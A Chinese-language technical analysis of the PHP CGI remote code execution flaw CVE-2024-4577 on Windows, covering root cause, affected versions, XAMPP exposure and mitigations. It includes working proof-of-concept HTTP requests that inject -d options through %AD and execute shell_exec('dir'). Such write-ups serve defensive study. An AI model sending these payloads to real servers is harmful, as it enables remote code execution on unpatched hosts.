本文分析了由 DEVCORE 团队研究发现的 PHP CGI 在 Windows 平台的远程代码执行漏洞(CVE-2024-4577),探讨了漏洞的技术细节、背景、利用条件以及修复建议。PHP 官方团队已于 2024 年 6 月 6 日发布了新版本修复 CVE-2024-4577,该漏洞利用前置条件较低且危害较大,建议尽快升级到安全版本。

# x00 漏洞概述

CVE-2024-4577 是一个影响在 Windows 平台上运行的 PHP CGI 的远程代码执行漏洞。

漏洞的存在是因为 PHP 在设计时未能预见到 Windows 的 Best-Fit 字符编码转换特性,这使得攻击者可以通过构造特定的请求来绕过安全限制。受影响的环境包括使用特定语系设置的 Windows 系统,如简体中文(936)、繁体中文(950)和日文(932)。

# x01 影响范围

PHP 8.3 < 8.3.8

PHP 8.2 < 8.2.20

PHP 8.1 < 8.1.29

其他版本的 PHP 官方已不在维护,建议根据实际情况升级到安全版本或者关闭 php-cgi 的使用。

# x02 复现

  1. 1、漏洞环境,选择 xampp_php/8.1.25

2、复现详情

poc1:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec('dir');?>

查询参数:

%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input

查询参数会变成:

-d cgi.force_redirect=XCANWIN -d allow_url_include=on -d auto_prepend_file=php://input

在该查询参数中 cgi.force_redirect 是 PHP 的一个配置指令,用于控制 PHP CGI 模式下的请求重定向行为。默认情况下,这个指令被设置为 1(即开启),在此处该指令设置为 XCANWIN,表示已经通过了某种安全机制。将包含远程文件的函数 allow_url_include 设置为 on,auto_prepend_file 允许每个请求之前必须尝试从 php://input 读取数据并将其作为代码执行。
复现结果:

Poc2:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
<?php die("Te"."sT");?>

查询参数

%add+ allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input

查询参数会变成:

-d allow_url_include=on -d auto_prepend_file=php://input

poc2 对比 poc1 没有重定向配置 cgi.force_redirect,而在请求头中定义 REDIRECT-STATUS: XCANWIN,表示某种安全检测已经触发。查询参数中将包含远程文件的函数 allow_url_include 设置为 on,auto_prepend_file 允许每个请求之前必须尝试从 php://input 读取数据并将其作为代码执行。

  1. 复现结果:

使用 php://input 流接收 POST 请求传入的参数实现 RCE

{host}/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input

image.png

# x03 漏洞背景

PHP 的 SAPI(Server Application Programming Interface)是 PHP 为了在不同服务器环境中运行而提供的一套应用程序编程接口。SAPI 定义了 PHP 如何与其所在环境的 Web 服务器或其它类型的服务器进行交互。简而言之,SAPI 是 PHP 与服务器软件通信的桥梁。

在 PHP 中,通常有三种主流的 SAPI 实现方式:

PHP-FPM:这是一种 FastCGI 协议的解析器,它的主要任务是接收来自 Web 服务器,按照 FastCGI 协议格式封装的请求数据,并将其传递给 PHP 解释器进行处理。

mod_php:这是 Apache 服务器的一个模块,专门用于处理 PHP 和 Apache 之间的数据交换工作。

PHP-CGI:它具备两种模式的交互能力,既可以作为 CGI 程序运行,也可以作为 FastCGI 服务运行。PHP-CGI 在以 CGI 模式运行时爆出了安全漏洞 CVE-2012-1823 。

发现漏洞的团队也用了这个趣图来比喻这三种 SAPI。

image.png

回顾 CVE-2012-1823 这一 PHP CGI 环境下的安全缺陷,Web 服务器将 HTTP 请求解析后转发给 PHP 脚本。以 http://host/cgi.php?a=b 为例,该请求可能在命令行中以 php.exe cgi.php a=b 的形式被处理。

根据 RFC3875 的规范,如果查询字符串内缺少未解码的等号,那么整个查询字符串应当被视为 CGI 的参数进行传递。这便意味着,如果 URL 中的查询字符串部分省略了等号,它将未经适当处理就被传递给 php-cgi,为攻击者提供了注入非法命令行参数的机会。要有效利用这一漏洞,需了解 php-cgi 支持哪些命令行参数。

image.png

使用 - d 参数来指定配置项的值实现 RCE:allow_url_include 选项如果被设置为 On,PHP 将允许包含(include)通过 URL 指定的文件,auto_prepend_file%3dphp%3a//input:这个参数设置 auto_prepend_file 配置项,使其指向 php://input 流。php://input 是一个可以读取通过 POST 方法发送到脚本的原始数据的流。通过设置这个配置,攻击者可以控制 PHP 脚本执行前自动包含的文件,这里实际上是包含了通过 POST 发送的数据。

image.png

# x04 漏洞原理

CVE-2024-4577 是依托于 Windows 系统中字符编码转换的 Best-Fit 特性对 CVE-2012-1823 的绕过。Windows 系统中字符编码转换的 Best-Fit 特性是指 Windows 操作系统在处理不同字符编码集之间的转换时使用的一种匹配机制。当系统中存在无法直接映射到目标编码集的字符时,Best-Fit 特性会尝试寻找一个在语义或外观上最接近的字符来进行替代显示或处理。

这种特性在多语言支持和国际化软件的开发中非常重要,因为它可以提高不同语言环境下用户界面的可读性和一致性。然而,在某些情况下,Best-Fit 特性也可能带来安全隐患,尤其是在处理来自不可信来源的输入时。例如,在 Web 应用中,如果攻击者能够利用 Best-Fit 特性将特殊字符转换为具有不同语义的字符,就可能绕过安全检查,导致安全漏洞,如这次的 CVE-2024-4577 就是利用了 % ad 这个特殊字符,通过 Best-Fit 匹配到的是连字符("-")。

查看这次补丁的 commit 来分析为什么是连字符("-"):

https://github.com/php/php-src/commit/4dd9a36c16#diff-680b80075cd2f8c1bbeb33b6ef6c41fb1f17ab98f28e5f87d12d82264ca99729R1798

image.png

PHP 的源代码中原先已经实现了对特定字符(如连字符 -)的过滤逻辑,这是对 CVE-2012-1823 的修复代码,如下是 CVE-2012-1823 的 poc,对比 CVE-2024-4577 的 poc 可以看到,主要差别在于(连字符 -)变成了 % AD。

image.png

image.png

通过使用 % ad 代替常规的连字符 -,绕过了原本应该阻止参数传递的安全机制,导致攻击者能够成功注入并执行非法的参数,为了修复 CVE-2024-4577,在最新的代码更新中,考虑到了 Windows 系统中 Best-Fit 特性的影响,将所有高于 0x80 的字符也纳入了限制范围。代码注释中对此也进行了详细说明,阐述了采取这一措施的背景。

在 CVE-2024-4577 的 poc 中可以看到多了一个参数选项 cgi.force_redirect。因为 PHP 增加了一个默认开启的配置 cgi.force_redirect=1,仅允许通过重定向规则的请求来执行 PHP CGI,不允许直接访问执行,要绕过这一特性,可以采取以下方法:

既然已经通过 - d 参数成功修改了其他配置,那么同样可以直接使用 - d 参数将 cgi.force_redirect 的值改为 0,从而关闭这一重定向规则限制。

image.png

默认配置的 XAMPP 受影响的原因:

在 \conf\extra\httpd-xampp.conf 中存在如下的配置项

ScriptAlias /php-cgi/ "/xampp/php/"
<Directory "/xampp/php">
    AllowOverride None
    Options None
    Require all denied
    <Files "php-cgi.exe">
          Require all granted
    </Files>
</Directory>

ScriptAlias 指令的意义是当用户访问网站的 /php-cgi/ 路径时,将请求映射到了本地的 /xampp/php/ 目录。这个目录包含了 PHP 环境的所有文件和组件,而该目录下就包含有 php-cgi.exe 程序。

当我们使用最早公开的 poc,发现并不能复现

/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input

image.png

原因就是为了验证请求是通过 Web 服务器的 Action 指令发起的,而不是用户直接对 php-cgi 进行的请求,php-cgi 设置了 “cgi.force_redirect” 这一安全特性。该特性默认开启,它确保只有遵循特定重定向流程的请求才会被 php-cgi 处理,这样可以有效避免直接对 php-cgi 的潜在不当访问,于是在 POC 中添加 - d cgi.force_redirect=0 关闭这个校验规则,就可绕过限制。

# x05 修复方案

1. 官方已发布新版本 8.3.8、8.2.20、8.1.29
2. 对于无法升级 PHP 的用户:
通过在 Apache 服务器的配置文件中,添加以下规则来阻止攻击。需要注意的是,这些规则仅对繁体中文、简体中文和日语语言环境起到临时缓解作用。在实际操作中,仍然建议更新到补丁版本或迁移架构。

RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]

3. 对于使用 XAMPP for Windows 的用户,如果确认不需要 PHP CGI 功能,可以通过修改以下 Apache HTTP Server 配置来避免受到该漏洞的影响
注释掉相应行:

# ScriptAlias /php-cgi/ "C:/xampp/php/"

4.PHP-CGI 已经是一种过时且易出问题的架构,建议迁移至更为安全的 Mod-PHP、FastCGI 或是 PHP-FPM 等架构。